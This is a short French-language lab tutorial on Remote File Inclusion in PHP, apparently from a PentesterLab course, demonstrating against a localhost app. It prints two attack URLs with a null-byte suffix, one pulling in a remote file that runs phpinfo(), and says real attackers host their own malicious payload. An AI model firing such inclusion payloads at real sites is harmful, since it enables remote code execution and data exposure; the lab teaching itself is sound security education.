Exploitation de l'inclusion de fichiers à distance
Dans cette phase, nous allons approfondir le concept d'inclusion de fichiers à distance (Remote File Inclusion) et ses vulnérabilités potentielles.
L'inclusion de fichiers à distance est un problème critique qui pourrait potentiellement permettre à un attaquant d'inclure des fichiers provenant de serveurs externes. Cela pourrait entraîner de graves violations de sécurité telles que l'exécution de code à distance ou l'exposition de données sensibles.
Commençons par un exemple où nous essayons d'inclure un fichier distant hébergé sur un serveur externe :
http://localhost:81/index.php?page=https://www.example.com/index.html%00
Une fois cette commande exécutée, vous devriez être en mesure de voir le contenu du fichier distant inclus dans la réponse de l'application web.
Dans un scénario réel, un attaquant hébergerait généralement sa propre charge utile malveillante sur un serveur qu'il contrôle, puis essaierait de l'inclure en exploitant la vulnérabilité d'inclusion de fichiers à distance.
À des fins de démonstration, nous utiliserons une charge utile pré - hébergée sur le site web de PentesterLab :
http://localhost:81/index.php?page=https://assets.pentesterlab.com/test_include.txt%00
Cette charge utile déclenche la fonction phpinfo()
, qui révèle des informations sur la configuration PHP du serveur.
N'oubliez pas que ceci est une démonstration d'une vulnérabilité potentielle. Lorsque vous développez vos propres applications, il est crucial de mettre en œuvre des mesures de sécurité appropriées pour prévenir de telles attaques. Dans la section suivante, nous parlerons de certaines de ces pratiques de sécurité.